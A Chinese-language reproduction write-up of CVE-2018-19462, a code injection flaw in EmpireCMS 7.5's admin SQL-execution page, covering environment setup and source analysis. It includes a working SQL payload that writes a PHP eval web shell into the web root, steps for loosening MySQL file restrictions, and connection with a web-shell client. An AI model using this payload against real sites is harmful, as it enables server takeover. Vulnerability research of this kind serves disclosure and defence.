帝國CMS(EmpireCMS) v7.5 代碼注入分析(CVE-2018-19462)
一、漏洞描述
EmpireCMS7.5及之前版本中的admindbDoSql.php文件存在代碼注入漏洞。該漏洞源於外部輸入數據構造代碼段的過程中,網路系統或產品未正確過濾其中的特殊元素。攻擊者可利用該漏洞生成非法的代碼段,修改網絡系統或組件的預期的執行控制流。
二、影響版本
EmpireCMS<=7.5
三、環境搭建
1、官方下載EmpireCMS V7.5 下載地址:http://www.phome.net/download/
2、把下載的文件中的upload下的所有目錄和文件放入到網站根目錄下
3、修改php.ini配置文件, PHP環境中必須開啟短標簽,不然安裝會提示無法安裝
4、設置php.ini中 short_open_tag = On,重啟phpstudy
5、然后開始安裝,安裝過程參考: https://jingyan.baidu.com/article/48b37f8dcc014b1a6564887c.html
四、漏洞復現
1、漏洞出現的頁面如下
2、分析源碼定位漏洞出現的位置在/e/admin/db/DoSql.php,瀏覽代碼,對sqltext使用RepSqlTbpre函數進行處理
3、跟進RepSqlTbpre函數,發現僅僅對表的前綴做替換,沒有做其他任何處理
4、繼續瀏覽代碼,發現對$query使用DoRunQuery函數進行處理
5、跟進DoRunQuery函數,可以看到對$sql參數只做了去除空格、以”;”分隔然后遍歷,並你沒有做別的限制和過濾,導致可以執行惡意的sql語句
6、登錄后台,點擊如下,輸入一段寫shell的payload,payload內容如下:
select '<?php @eval($_POST[1])?>' into outfile 'C:/phpStudy/WWW/empirecms/shell.php'
7、點擊”執行SQL”,提示錯誤,是由於mysql安全限制的原因
8、修改mysql的配置文件, 在[mysqld] 下添加條目: secure_file_priv =,保存之后,然后重啟mysql
9、再次執行SQL語句,可以看到成功執行SQL語句
10、查看是否成功上傳shell
11、菜刀連接,成功getshell
-------------------------------------------------------------------------------------------------------------
參考: http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-201906-306
https://github.com/novysodope/empireCMS7.5/blob/master/getshell